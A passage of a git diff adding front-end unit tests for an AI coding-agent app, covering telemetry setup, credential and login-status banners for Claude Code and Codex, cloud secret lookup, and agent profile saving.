+        new StorageEvent("storage", {
+          key: ONBOARDING_COMPLETED_STORAGE_KEY,
+          newValue: "1",
+        }),
+      );
+    });
+
+    expect(result.current.isCompleted).toBe(true);
+  });
+});
diff --git a/__tests__/components/providers/telemetry-provider.test.tsx b/__tests__/components/providers/telemetry-provider.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..9949d1d432e0ad06263638a0aa2700a493567e34
--- /dev/null
+++ b/__tests__/components/providers/telemetry-provider.test.tsx
@@ -0,0 +1,124 @@
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import { render, screen, waitFor } from "@testing-library/react";
+
+const useTelemetryMock = vi.hoisted(() => vi.fn());
+
+vi.mock("#/hooks/use-telemetry", () => ({
+  useTelemetry: useTelemetryMock,
+}));
+
+import { TelemetryProvider } from "#/components/providers/telemetry-provider";
+import * as telemetry from "#/services/telemetry";
+
+const runtimeConfig = {
+  apiKey: "phc_embedded",
+  apiHost: "https://events.example.com",
+  uiHost: "https://posthog.example.com",
+};
+
+describe("TelemetryProvider", () => {
+  let configureBootstrapMock: ReturnType<typeof vi.spyOn>;
+  let configureTelemetryMock: ReturnType<typeof vi.spyOn>;
+  let initializeClientMock: ReturnType<typeof vi.spyOn>;
+
+  beforeEach(() => {
+    configureBootstrapMock = vi
+      .spyOn(telemetry, "configurePostHogBootstrap")
+      .mockImplementation(() => undefined);
+    configureTelemetryMock = vi
+      .spyOn(telemetry, "configureTelemetry")
+      .mockImplementation(() => undefined);
+    initializeClientMock = vi
+      .spyOn(telemetry, "initializePostHogClient")
+      .mockResolvedValue(null);
+    useTelemetryMock.mockClear();
+    window.location.hash = "";
+    sessionStorage.clear();
+  });
+
+  afterEach(() => {
+    vi.restoreAllMocks();
+  });
+
+  it("configures telemetry and bootstraps IDs from the URL", () => {
+    window.location.hash = "distinct_id=user-123&session_id=session-456";
+
+    render(
+      <TelemetryProvider config={runtimeConfig}>
+        <div data-testid="child" />
+      </TelemetryProvider>,
+    );
+
+    expect(configureTelemetryMock).toHaveBeenCalledWith(runtimeConfig);
+    expect(configureBootstrapMock).toHaveBeenCalledWith({
+      distinctID: "user-123",
+      sessionID: "session-456",
+    });
+    expect(window.location.hash).toBe("");
+  });
+
+  it("restores valid bootstrap IDs after OAuth and discards malformed data", () => {
+    sessionStorage.setItem("posthog_bootstrap", "not-json");
+    const view = render(
+      <TelemetryProvider config={runtimeConfig}>
+        <div />
+      </TelemetryProvider>,
+    );
+
+    expect(configureBootstrapMock).toHaveBeenCalledWith(undefined);
+    expect(sessionStorage.getItem("posthog_bootstrap")).toBeNull();
+
+    view.unmount();
+    configureBootstrapMock.mockClear();
+    sessionStorage.setItem(
+      "posthog_bootstrap",
+      JSON.stringify({ distinctID: "user-123", sessionID: "session-456" }),
+    );
+    render(
+      <TelemetryProvider config={runtimeConfig}>
+        <div />
+      </TelemetryProvider>,
+    );
+    expect(configureBootstrapMock).toHaveBeenCalledWith({
+      distinctID: "user-123",
+      sessionID: "session-456",
+    });
+  });
+
+  it("mounts telemetry lifecycle when analytics are enabled", () => {
+    render(
+      <TelemetryProvider config={runtimeConfig}>
+        <div data-testid="child" />
+      </TelemetryProvider>,
+    );
+
+    expect(screen.getByTestId("child")).toBeInTheDocument();
+    expect(useTelemetryMock).toHaveBeenCalledOnce();
+  });
+
+  it("keeps rendering children when eager initialization fails", async () => {
+    initializeClientMock.mockRejectedValueOnce(new Error("unavailable"));
+
+    render(
+      <TelemetryProvider config={runtimeConfig}>
+        <div data-testid="child" />
+      </TelemetryProvider>,
+    );
+
+    expect(screen.getByTestId("child")).toBeInTheDocument();
+    await waitFor(() => expect(initializeClientMock).toHaveBeenCalledOnce());
+  });
+
+  it("does not initialize telemetry lifecycle when analytics are disabled", () => {
+    render(
+      <TelemetryProvider config={false}>
+        <div data-testid="child" />
+      </TelemetryProvider>,
+    );
+
+    expect(screen.getByTestId("child")).toBeInTheDocument();
+    expect(configureTelemetryMock).toHaveBeenCalledWith(false);
+    expect(initializeClientMock).not.toHaveBeenCalled();
+    expect(useTelemetryMock).not.toHaveBeenCalled();
+  });
+});
diff --git a/__tests__/components/settings/acp-auth-status-banner.test.tsx b/__tests__/components/settings/acp-auth-status-banner.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..81a0ab40aa23c61074a9c84f6dd8d29f802e6e90
--- /dev/null
+++ b/__tests__/components/settings/acp-auth-status-banner.test.tsx
@@ -0,0 +1,77 @@
+import { describe, it, expect } from "vitest";
+import { render, screen } from "@testing-library/react";
+import { AcpAuthStatusBanner } from "#/components/features/settings/acp-auth-status-banner";
+
+const PREFIX = "settings-acp-auth";
+
+describe("AcpAuthStatusBanner", () => {
+  it("shows the 'signed in' banner when the host-login probe authenticated", () => {
+    render(
+      <AcpAuthStatusBanner
+        status="authenticated"
+        isChecking={false}
+        providerName="Claude Code"
+        testIdPrefix={PREFIX}
+      />,
+    );
+    expect(screen.getByTestId(`${PREFIX}-detected`)).toBeInTheDocument();
+    expect(
+      screen.queryByTestId(`${PREFIX}-configured`),
+    ).not.toBeInTheDocument();
+  });
+
+  it("shows the checking spinner while the first probe is in flight", () => {
+    render(
+      <AcpAuthStatusBanner
+        status="unknown"
+        isChecking
+        providerName="Claude Code"
+        testIdPrefix={PREFIX}
+      />,
+    );
+    expect(screen.getByTestId(`${PREFIX}-checking`)).toBeInTheDocument();
+  });
+
+  it("shows the 'credentials configured' banner when the probe can't confirm a login but a credential is stored (Docker/cloud)", () => {
+    render(
+      <AcpAuthStatusBanner
+        status="unknown"
+        isChecking={false}
+        credentialsConfigured
+        providerName="Claude Code"
+        testIdPrefix={PREFIX}
+      />,
+    );
+    expect(screen.getByTestId(`${PREFIX}-configured`)).toBeInTheDocument();
+    // Honesty guard: a stored credential must NOT render as the "signed in" banner.
+    expect(screen.queryByTestId(`${PREFIX}-detected`)).not.toBeInTheDocument();
+  });
+
+  it("renders nothing when there is no login signal and no stored credential", () => {
+    const { container } = render(
+      <AcpAuthStatusBanner
+        status="unknown"
+        isChecking={false}
+        providerName="Claude Code"
+        testIdPrefix={PREFIX}
+      />,
+    );
+    expect(container).toBeEmptyDOMElement();
+  });
+
+  it("prefers the checking spinner over 'configured' while the probe is still in flight", () => {
+    render(
+      <AcpAuthStatusBanner
+        status="unknown"
+        isChecking
+        credentialsConfigured
+        providerName="Claude Code"
+        testIdPrefix={PREFIX}
+      />,
+    );
+    expect(screen.getByTestId(`${PREFIX}-checking`)).toBeInTheDocument();
+    expect(
+      screen.queryByTestId(`${PREFIX}-configured`),
+    ).not.toBeInTheDocument();
+  });
+});
diff --git a/__tests__/components/settings/acp-credentials-section-cloud.test.tsx b/__tests__/components/settings/acp-credentials-section-cloud.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..e8906b94b13405c40aacf8ca2850ea491d386ac7
--- /dev/null
+++ b/__tests__/components/settings/acp-credentials-section-cloud.test.tsx
@@ -0,0 +1,116 @@
+import React from "react";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import { render, screen } from "@testing-library/react";
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+
+import {
+  __resetActiveStoreForTests,
+  setRegisteredBackends,
+  setActiveSelection,
+} from "#/api/backend-registry/active-store";
+import { ActiveBackendProvider } from "#/contexts/active-backend-context";
+import { AcpCredentialsSection } from "#/components/features/settings/acp-credentials-section";
+import { useAcpCredentialForm } from "#/hooks/use-acp-credential-form";
+import { fetchCloudSecrets } from "#/api/cloud/secrets-service.api";
+
+// The login-detection probe is gated off on cloud backends (it shells the
+// host CLI, which doesn't exist there), so it always reports "unknown" — stub
+// it to that so this test isolates the credentials-configured path.
+const acpAuthStatusMock = vi.hoisted(() => vi.fn());
+vi.mock("#/hooks/query/use-acp-auth-status", () => ({
+  useAcpAuthStatus: (...args: unknown[]) => acpAuthStatusMock(...args),
+}));
+
+// Mock the cloud secrets boundary, NOT SecretsService — so the real
+// SecretsService.getSecrets runs and exercises its cloud branch
+// (kind === "cloud" → fetchCloudSecrets), which is the path the host-probe
+// can never reach. This is the gap the Docker/cloud-only mocked-getSecrets
+// test cannot cover.
+vi.mock("#/api/cloud/secrets-service.api", () => ({
+  fetchCloudSecrets: vi.fn(),
+  createCloudSecret: vi.fn(),
+  updateCloudSecret: vi.fn(),
+  deleteCloudSecret: vi.fn(),
+}));
+
+function Harness({ providerKey }: { providerKey: string }) {
+  const form = useAcpCredentialForm(providerKey);
+  return <AcpCredentialsSection form={form} providerKey={providerKey} />;
+}
+
+function renderSection(providerKey: string) {
+  render(
+    <QueryClientProvider
+      client={
+        new QueryClient({ defaultOptions: { queries: { retry: false } } })
+      }
+    >
+      <ActiveBackendProvider>
+        <Harness providerKey={providerKey} />
+      </ActiveBackendProvider>
+    </QueryClientProvider>,
+  );
+}
+
+function activateCloudBackend() {
+  setRegisteredBackends([
+    {
+      id: "cloud-1",
+      name: "Cloud",
+      host: "https://app.example.com",
+      apiKey: "",
+      kind: "cloud",
+    },
+  ]);
+  setActiveSelection({ backendId: "cloud-1", orgId: "org-1" });
+}
+
+beforeEach(() => {
+  vi.restoreAllMocks();
+  __resetActiveStoreForTests();
+  acpAuthStatusMock.mockReturnValue({
+    status: "unknown",
+    isChecking: false,
+    isSupported: false,
+  });
+  vi.mocked(fetchCloudSecrets).mockResolvedValue([]);
+});
+afterEach(() => {
+  __resetActiveStoreForTests();
+});
+
+describe("AcpCredentialsSection on a cloud backend (#1244)", () => {
+  it("surfaces 'credentials configured' from the cloud secret store, never 'signed in'", async () => {
+    activateCloudBackend();
+    // A credential resolved through the cloud secrets API (not the host probe,
+    // which is gated off on cloud).
+    vi.mocked(fetchCloudSecrets).mockResolvedValue([
+      { name: "CLAUDE_CODE_OAUTH_TOKEN" },
+    ]);
+
+    renderSection("claude-code");
+
+    expect(
+      await screen.findByTestId("settings-acp-auth-configured"),
+    ).toBeInTheDocument();
+    // The real SecretsService.getSecrets routed through the cloud branch.
+    expect(fetchCloudSecrets).toHaveBeenCalled();
+    // A stored credential must never overstate itself as a verified login.
+    expect(
+      screen.queryByTestId("settings-acp-auth-detected"),
+    ).not.toBeInTheDocument();
+  });
+
+  it("does not show 'configured' when the cloud store has no provider credential", async () => {
+    activateCloudBackend();
+    vi.mocked(fetchCloudSecrets).mockResolvedValue([]);
+
+    renderSection("claude-code");
+
+    // Wait for the secrets query to settle on a stable element, then assert.
+    await screen.findByTestId("settings-acp-secret-CLAUDE_CODE_OAUTH_TOKEN");
+    expect(
+      screen.queryByTestId("settings-acp-auth-configured"),
+    ).not.toBeInTheDocument();
+  });
+});
diff --git a/__tests__/components/settings/acp-credentials-section.test.tsx b/__tests__/components/settings/acp-credentials-section.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..89b9edba9854fc9c38aadec713259a3f592fe91e
--- /dev/null
+++ b/__tests__/components/settings/acp-credentials-section.test.tsx
@@ -0,0 +1,201 @@
+import React from "react";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import { render, screen } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+
+import { __resetActiveStoreForTests } from "#/api/backend-registry/active-store";
+import { ActiveBackendProvider } from "#/contexts/active-backend-context";
+import { AcpCredentialsSection } from "#/components/features/settings/acp-credentials-section";
+import { useAcpCredentialForm } from "#/hooks/use-acp-credential-form";
+import { SecretsService } from "#/api/secrets-service";
+
+// The login-detection probe is exercised in its own hook test; here we stub it
+// so rendering the section doesn't spin a subprocess and we can drive the auth
+// banner states directly.
+const acpAuthStatusMock = vi.hoisted(() => vi.fn());
+vi.mock("#/hooks/query/use-acp-auth-status", () => ({
+  useAcpAuthStatus: (...args: unknown[]) => acpAuthStatusMock(...args),
+}));
+
+// The section is presentational: the form lives in the parent (Settings →
+// Agent) so a single Save persists the agent spec + credentials together. These
+// tests drive the section through the real form hook to cover field rendering,
+// conflict warnings, and the auth banner; the save flow is covered in
+// __tests__/routes/agent-settings.test.tsx.
+function Harness({ providerKey }: { providerKey: string }) {
+  const form = useAcpCredentialForm(providerKey);
+  return <AcpCredentialsSection form={form} providerKey={providerKey} />;
+}
+
+function renderSection(providerKey: string) {
+  const user = userEvent.setup();
+  render(
+    <QueryClientProvider
+      client={
+        new QueryClient({ defaultOptions: { queries: { retry: false } } })
+      }
+    >
+      <ActiveBackendProvider>
+        <Harness providerKey={providerKey} />
+      </ActiveBackendProvider>
+    </QueryClientProvider>,
+  );
+  return { user };
+}
+
+beforeEach(() => {
+  vi.restoreAllMocks();
+  __resetActiveStoreForTests();
+  acpAuthStatusMock.mockReturnValue({
+    status: "unknown",
+    isChecking: false,
+    isSupported: true,
+  });
+  vi.spyOn(SecretsService, "getSecrets").mockResolvedValue([]);
+});
+afterEach(() => {
+  __resetActiveStoreForTests();
+});
+
+describe("AcpCredentialsSection", () => {
+  it("renders the provider's credential fields (blob as textarea, key as password)", () => {
+    renderSection("codex");
+
+    expect(
+      screen.getByTestId("settings-acp-secret-CODEX_AUTH_JSON").tagName,
+    ).toBe("TEXTAREA");
+    expect(
+      screen.getByTestId("settings-acp-secret-OPENAI_API_KEY"),
+    ).toHaveAttribute("type", "password");
+  });
+
+  it("renders nothing for a provider without credential fields", () => {
+    renderSection("custom");
+    expect(
+      screen.queryByTestId("settings-acp-secret-CODEX_AUTH_JSON"),
+    ).not.toBeInTheDocument();
+  });
+
+  it("warns when the Claude OAuth token and base URL are both set", async () => {
+    const { user } = renderSection("claude-code");
+
+    await user.type(
+      screen.getByTestId("settings-acp-secret-CLAUDE_CODE_OAUTH_TOKEN"),
+      "oauth-token",
+    );
+    expect(
+      screen.queryByTestId("acp-credential-conflict-warning"),
+    ).not.toBeInTheDocument();
+
+    await user.type(
+      screen.getByTestId("settings-acp-secret-ANTHROPIC_BASE_URL"),
+      "https://proxy.example.com",
+    );
+    expect(
+      screen.getByTestId("acp-credential-conflict-warning"),
+    ).toBeInTheDocument();
+  });
+
+  it("shows the 'already signed in' banner when the login probe detects a session", () => {
+    acpAuthStatusMock.mockReturnValue({
+      status: "authenticated",
+      isChecking: false,
+      isSupported: true,
+    });
+    renderSection("claude-code");
+    expect(
+      screen.getByTestId("settings-acp-auth-detected"),
+    ).toBeInTheDocument();
+    expect(
+      screen.queryByTestId("settings-acp-auth-checking"),
+    ).not.toBeInTheDocument();
+  });
+
+  it("shows the checking spinner while the login probe is in flight", () => {
+    acpAuthStatusMock.mockReturnValue({
+      status: "unknown",
+      isChecking: true,
+      isSupported: true,
+    });
+    renderSection("claude-code");
+    expect(
+      screen.getByTestId("settings-acp-auth-checking"),
+    ).toBeInTheDocument();
+    expect(
+      screen.queryByTestId("settings-acp-auth-detected"),
+    ).not.toBeInTheDocument();
+  });
+
+  it("shows no auth banner when there is no detected session", () => {
+    acpAuthStatusMock.mockReturnValue({
+      status: "unauthenticated",
+      isChecking: false,
+      isSupported: true,
+    });
+    renderSection("claude-code");
+    expect(
+      screen.queryByTestId("settings-acp-auth-detected"),
+    ).not.toBeInTheDocument();
+    expect(
+      screen.queryByTestId("settings-acp-auth-checking"),
+    ).not.toBeInTheDocument();
+  });
+
+  it("shows the 'credentials configured' banner when a credential is stored but the probe can't confirm a login (Docker/cloud)", async () => {
+    acpAuthStatusMock.mockReturnValue({
+      status: "unknown",
+      isChecking: false,
+      isSupported: true,
+    });
+    vi.spyOn(SecretsService, "getSecrets").mockResolvedValue([
+      { name: "ANTHROPIC_API_KEY" },
+    ]);
+    renderSection("claude-code");
+    expect(
+      await screen.findByTestId("settings-acp-auth-configured"),
+    ).toBeInTheDocument();
+    // A stored credential must never overstate itself as a verified login.
+    expect(
+      screen.queryByTestId("settings-acp-auth-detected"),
+    ).not.toBeInTheDocument();
+  });
+
+  it("does not treat a stored non-credential field (base URL) as configured", async () => {
+    acpAuthStatusMock.mockReturnValue({
+      status: "unknown",
+      isChecking: false,
+      isSupported: true,
+    });
+    vi.spyOn(SecretsService, "getSecrets").mockResolvedValue([
+      { name: "ANTHROPIC_BASE_URL" },
+    ]);
+    renderSection("claude-code");
+    // Wait for the secrets query to settle on a stable element, then assert.
+    await screen.findByTestId("settings-acp-secret-ANTHROPIC_API_KEY");
+    expect(
+      screen.queryByTestId("settings-acp-auth-configured"),
+    ).not.toBeInTheDocument();
+  });
+
+  it("treats a stored file-blob credential as configured for a non-Claude provider (Codex)", async () => {
+    // The configured signal is provider-generic, not Claude-specific, and a
+    // multiline file-content blob (Codex auth.json) is a credential the same as
+    // an API key or OAuth token.
+    acpAuthStatusMock.mockReturnValue({
+      status: "unknown",
+      isChecking: false,
+      isSupported: true,
+    });
+    vi.spyOn(SecretsService, "getSecrets").mockResolvedValue([
+      { name: "CODEX_AUTH_JSON" },
+    ]);
+    renderSection("codex");
+    expect(
+      await screen.findByTestId("settings-acp-auth-configured"),
+    ).toBeInTheDocument();
+    expect(
+      screen.queryByTestId("settings-acp-auth-detected"),
+    ).not.toBeInTheDocument();
+  });
+});
diff --git a/__tests__/components/settings/agent-profiles/agent-profiles-local-view.test.tsx b/__tests__/components/settings/agent-profiles/agent-profiles-local-view.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..d62f489027243f9a743ef94f77e0350bfea151a4
--- /dev/null
+++ b/__tests__/components/settings/agent-profiles/agent-profiles-local-view.test.tsx
@@ -0,0 +1,473 @@
+import { render, screen, waitFor } from "@testing-library/react";
+import { describe, expect, it, vi, beforeEach } from "vitest";
+import userEvent from "@testing-library/user-event";
+import { useEffect } from "react";
+import type { AgentSettingsSaveControl } from "#/routes/agent-settings";
+import { AgentProfilesLocalView } from "#/components/features/settings/agent-profiles/agent-profiles-local-view";
+import AgentProfilesService from "#/api/agent-profiles-service/agent-profiles-service.api";
+import { displayErrorToast } from "#/utils/custom-toast-handlers";
+
+// The embedded Agent settings form is stubbed to emit a caller-provided
+// control, so the tests exercise the view's mapping to AgentProfileSaveInput.
+let emitControl: AgentSettingsSaveControl | null = null;
+
+vi.mock("react-i18next", () => ({
+  useTranslation: () => ({ t: (key: string) => key }),
+}));
+
+// The view imports the NAMED `AgentSettingsScreen` export (not the route's
+// default, which React Router wraps and would strip the embedded props). Mock
+// the named export to match; the factory is hoisted, so define the stub inline.
+vi.mock("#/routes/agent-settings", () => {
+  const MockAgentSettings = ({
+    agentSettingsOverride,
+    onSaveControlChange,
+  }: {
+    agentSettingsOverride?: Record<string, unknown> | null;
+    onSaveControlChange?: (c: AgentSettingsSaveControl) => void;
+  }) => {
+    useEffect(() => {
+      if (emitControl) onSaveControlChange?.(emitControl);
+    }, [onSaveControlChange]);
+    // Surface the seed override so tests can assert what the embedded form
+    // would open on.
+    return (
+      <div
+        data-testid="mock-agent-settings"
+        data-override={JSON.stringify(agentSettingsOverride)}
+      />
+    );
+  };
+  return {
+    __esModule: true,
+    AgentSettingsScreen: MockAgentSettings,
+    default: MockAgentSettings,
+  };
+});
+
+vi.mock(
+  "#/components/features/settings/agent-profiles/agent-profiles-manager",
+  () => ({
+    AgentProfilesManager: ({
+      onAddProfile,
+      onEditProfile,
+    }: {
+      onAddProfile?: () => void;
+      onEditProfile?: (profile: { name: string }) => void;
+    }) => (
+      <>
+        <button
+          type="button"
+          data-testid="add-agent-profile"
+          onClick={onAddProfile}
+          aria-label="add"
+        />
+        <button
+          type="button"
+          data-testid="edit-agent-profile"
+          onClick={() => onEditProfile?.({ name: "default" })}
+          aria-label="edit"
+        />
+      </>
+    ),
+  }),
+);
+
+const saveMutate = vi.fn().mockResolvedValue({ name: "x", message: "ok" });
+vi.mock("#/hooks/mutation/use-save-agent-profile", () => ({
+  useSaveAgentProfile: () => ({ mutateAsync: saveMutate }),
+}));
+
+const renameMutate = vi.fn().mockResolvedValue({ name: "x", message: "ok" });
+vi.mock("#/hooks/mutation/use-rename-agent-profile", () => ({
+  useRenameAgentProfile: () => ({ mutateAsync: renameMutate }),
+}));
+
+const agentProfilesData = { profiles: [], active_agent_profile_id: null };
+vi.mock("#/hooks/query/use-agent-profiles", () => ({
+  useAgentProfiles: () => ({ data: agentProfilesData }),
+}));
+
+let llmProfilesData: {
+  profiles: { name: string; model: string | null }[];
+  active_profile: string | null;
+};
+vi.mock("#/hooks/query/use-llm-profiles", () => ({
+  useLlmProfiles: () => ({ data: llmProfilesData }),
+}));
+
+vi.mock("#/contexts/settings-section-header-context", () => ({
+  useSettingsSectionHeader: () => ({ setHideSectionHeader: vi.fn() }),
+}));
+
+vi.mock("#/utils/custom-toast-handlers");
+
+vi.mock("#/api/agent-profiles-service/agent-profiles-service.api", () => ({
+  __esModule: true,
+  default: { getProfile: vi.fn(), renameProfile: vi.fn() },
+}));
+
+async function openCreateAndName(name: string) {
+  const user = userEvent.setup();
+  await user.click(screen.getByTestId("add-agent-profile"));
+  await screen.findByTestId("mock-agent-settings");
+  const input = screen.getByTestId("agent-profile-name-input");
+  await user.clear(input);
+  await user.type(input, name);
+  return user;
+}
+
+describe("AgentProfilesLocalView save mapping", () => {
+  beforeEach(() => {
+    vi.clearAllMocks();
+    emitControl = null;
+    llmProfilesData = {
+      profiles: [{ name: "default", model: "gpt-5" }],
+      active_profile: "default",
+    };
+  });
+
+  it("saves an OpenHands profile with the selected llm_profile_ref", async () => {
+    emitControl = {
+      agentType: "openhands",
+      isValid: true,
+      isDirty: true,
+      buildAgentProfileFields: () => ({
+        agent_kind: "openhands",
+        mcp_server_refs: null,
+        enable_sub_agents: true,
+      }),
+      credentials: { isDirty: false, save: vi.fn(), reset: vi.fn() },
+    };
+
+    render(<AgentProfilesLocalView />);
+    const user = await openCreateAndName("my-oh");
+    await user.click(screen.getByTestId("save-agent-profile-btn"));
+
+    await waitFor(() => expect(saveMutate).toHaveBeenCalledTimes(1));
+    expect(saveMutate).toHaveBeenCalledWith({
+      name: "my-oh",
+      profile: {
+        agent_kind: "openhands",
+        mcp_server_refs: null,
+        enable_sub_agents: true,
+        llm_profile_ref: "default",
+      },
+    });
+  });
+
+  it("saves an ACP profile without an llm_profile_ref", async () => {
+    emitControl = {
+      agentType: "acp",
+      isValid: true,
+      isDirty: true,
+      buildAgentProfileFields: () => ({
+        agent_kind: "acp",
+        mcp_server_refs: null,
+        acp_server: "claude-code",
+        acp_model: "claude-opus-4-8",
+        acp_command: null,
+        acp_args: null,
+      }),
+      credentials: { isDirty: false, save: vi.fn(), reset: vi.fn() },
+    };
+
+    render(<AgentProfilesLocalView />);
+    const user = await openCreateAndName("my-claude");
+    await user.click(screen.getByTestId("save-agent-profile-btn"));
+
+    await waitFor(() => expect(saveMutate).toHaveBeenCalledTimes(1));
+    expect(saveMutate).toHaveBeenCalledWith({
+      name: "my-claude",
+      profile: {
+        agent_kind: "acp",
+        mcp_server_refs: null,
+        acp_server: "claude-code",
+        acp_model: "claude-opus-4-8",
+        acp_command: null,
+        acp_args: null,
+      },
+    });
+  });
+
+  it("edit-save round-trips stored fields the editor doesn't model", async () => {
+    // The seeded `default` profile carries fields the minimal editor never
+    // shows; the save is a whole-profile overwrite, so they must ride the
+    // payload untouched (with server-managed identity stripped).
+    const storedProfile = {
+      schema_version: 1,
+      id: "p-1",
+      name: "default",
+      revision: 3,
+      agent_kind: "openhands",
+      llm_profile_ref: "default",
+      agent: "CodeActAgent",
+      system_message_suffix: "Be terse.",
+      condenser: { kind: "NoOpCondenserSettings" },
+      verification: { critic_enabled: true },
+      enable_sub_agents: false,
+      enable_switch_llm_tool: false,
+      tool_concurrency_limit: 4,
+      mcp_server_refs: ["github"],
+      disabled_skills: ["deploy-checklist"],
+    };
+    vi.mocked(AgentProfilesService.getProfile).mockResolvedValue({
+      name: "default",
+      profile: storedProfile,
+    } as never);
+    emitControl = {
+      agentType: "openhands",
+      isValid: true,
+      isDirty: true,
+      // The editor models `mcp_server_refs`, so it re-emits what it was seeded
+      // with; `disabled_skills` it does not, and survives via the merge.
+      buildAgentProfileFields: () => ({
+        agent_kind: "openhands",
+        mcp_server_refs: ["github"],
+        enable_sub_agents: true,
+      }),
+      credentials: { isDirty: false, save: vi.fn(), reset: vi.fn() },
+    };
+
+    render(<AgentProfilesLocalView />);
+    const user = userEvent.setup();
+    await user.click(screen.getByTestId("edit-agent-profile"));
+    await screen.findByTestId("mock-agent-settings");
+
+    // The embedded form is seeded from the stored profile — including
+    // `enable_switch_llm_tool`, which the editor now models. (Asserted before
+    // the save: a successful save returns to the list and unmounts the form.)
+    const seededOverride = JSON.parse(
+      screen
+        .getByTestId("mock-agent-settings")
+        .getAttribute("data-override") as string,
+    );
+    expect(seededOverride).toMatchObject({
+      agent_kind: "openhands",
+      enable_sub_agents: false,
+      enable_switch_llm_tool: false,
+      tool_concurrency_limit: 4,
+      // Without this the picker opens on "all servers" and the save widens the
+      // profile's scope back to every configured server.
+      mcp_server_refs: ["github"],
+    });
+
+    await user.click(screen.getByTestId("save-agent-profile-btn"));
+
+    await waitFor(() => expect(saveMutate).toHaveBeenCalledTimes(1));
+    // Profiles are secret-free now (no embedded skills), so exposeSecrets is a
+    // server-side no-op; canvas still passes "encrypted" for signature parity.
+    expect(AgentProfilesService.getProfile).toHaveBeenCalledWith(
+      "default",
+      "encrypted",
+    );
+    const { profile } = saveMutate.mock.calls[0][0];
+    expect(profile).toMatchObject({
+      agent_kind: "openhands",
+      enable_sub_agents: true,
+      llm_profile_ref: "default",
+      system_message_suffix: "Be terse.",
+      condenser: { kind: "NoOpCondenserSettings" },
+      verification: { critic_enabled: true },
+      enable_switch_llm_tool: false,
+      tool_concurrency_limit: 4,
+      mcp_server_refs: ["github"],
+      disabled_skills: ["deploy-checklist"],
+    });
+    expect(profile).not.toHaveProperty("id");
+    expect(profile).not.toHaveProperty("name");
+    expect(profile).not.toHaveProperty("revision");
+  });
+
+  it("edit-save persists an edited enable_switch_llm_tool over the stored value", async () => {
+    // The stored profile has the tool disabled; the embedded form's builder
+    // emits the edited value, which must win over the stored one in the
+    // whole-profile overwrite.
+    vi.mocked(AgentProfilesService.getProfile).mockResolvedValue({
+      name: "default",
+      profile: {
+        schema_version: 1,
+        id: "p-1",
+        name: "default",
+        revision: 3,
+        agent_kind: "openhands",
+        llm_profile_ref: "default",
+        enable_sub_agents: false,
+        enable_switch_llm_tool: false,
+      },
+    } as never);
+    emitControl = {
+      agentType: "openhands",
+      isValid: true,
+      isDirty: true,
+      buildAgentProfileFields: () => ({
+        agent_kind: "openhands",
+        mcp_server_refs: null,
+        enable_sub_agents: false,
+        enable_switch_llm_tool: true,
+      }),
+      credentials: { isDirty: false, save: vi.fn(), reset: vi.fn() },
+    };
+
+    render(<AgentProfilesLocalView />);
+    const user = userEvent.setup();
+    await user.click(screen.getByTestId("edit-agent-profile"));
+    await screen.findByTestId("mock-agent-settings");
+    await user.click(screen.getByTestId("save-agent-profile-btn"));
+
+    await waitFor(() => expect(saveMutate).toHaveBeenCalledTimes(1));
+    const { profile } = saveMutate.mock.calls[0][0];
+    expect(profile.enable_switch_llm_tool).toBe(true);
+  });
+
+  it("kind-switch edit-save sends a clean variant payload", async () => {
+    vi.mocked(AgentProfilesService.getProfile).mockResolvedValue({
+      name: "default",
+      profile: {
+        schema_version: 1,
+        id: "p-1",
+        name: "default",
+        revision: 3,
+        agent_kind: "openhands",
+        llm_profile_ref: "default",
+        condenser: { kind: "NoOpCondenserSettings" },
+        mcp_server_refs: ["github"],
+      },
+    } as never);
+    emitControl = {
+      agentType: "acp",
+      isValid: true,
+      isDirty: true,
+      buildAgentProfileFields: () => ({
+        agent_kind: "acp",
+        mcp_server_refs: null,
+        acp_server: "claude-code",
+        acp_model: "claude-opus-4-8",
+        acp_command: null,
+        acp_args: null,
+      }),
+      credentials: { isDirty: false, save: vi.fn(), reset: vi.fn() },
+    };
+
+    render(<AgentProfilesLocalView />);
+    const user = userEvent.setup();
+    await user.click(screen.getByTestId("edit-agent-profile"));
+    await screen.findByTestId("mock-agent-settings");
+    await user.click(screen.getByTestId("save-agent-profile-btn"));
+
+    await waitFor(() => expect(saveMutate).toHaveBeenCalledTimes(1));
+    // No stored openhands fields may leak into the acp payload — the server's
+    // extra="forbid" union would 422 on a mongrel profile.
+    expect(saveMutate).toHaveBeenCalledWith({
+      name: "default",
+      profile: {
+        agent_kind: "acp",
+        mcp_server_refs: null,
+        acp_server: "claude-code",
+        acp_model: "claude-opus-4-8",
+        acp_command: null,
+        acp_args: null,
+      },
+    });
+  });
+
+  it("falls back to the default LLM profile when the stored llm_profile_ref is dangling (#1571 review)", async () => {
+    // The stored profile references an LLM profile that's since been deleted;
+    // the editor must validate against the live list and self-heal to the
+    // active default rather than saving the stale ref straight back.
+    vi.mocked(AgentProfilesService.getProfile).mockResolvedValue({
+      name: "default",
+      profile: {
+        schema_version: 1,
+        id: "p-1",
+        name: "default",
+        revision: 3,
+        agent_kind: "openhands",
+        llm_profile_ref: "deleted-profile",
+        enable_sub_agents: false,
+      },
+    } as never);
+    emitControl = {
+      agentType: "openhands",
+      isValid: true,
+      isDirty: false,
+      buildAgentProfileFields: () => ({
+        agent_kind: "openhands",
+        mcp_server_refs: null,
+        enable_sub_agents: false,
+      }),
+      credentials: { isDirty: false, save: vi.fn(), reset: vi.fn() },
+    };
+
+    render(<AgentProfilesLocalView />);
+    const user = userEvent.setup();
+    await user.click(screen.getByTestId("edit-agent-profile"));
+    await screen.findByTestId("mock-agent-settings");
+    await waitFor(() => {
+      expect(screen.getByTestId("save-agent-profile-btn")).not.toBeDisabled();
+    });
+    await user.click(screen.getByTestId("save-agent-profile-btn"));
+
+    await waitFor(() => expect(saveMutate).toHaveBeenCalledTimes(1));
+    const { profile } = saveMutate.mock.calls[0][0];
+    expect(profile.llm_profile_ref).toBe("default");
+  });
+
+  it("keeps a live llm_profile_ref untouched on load", async () => {
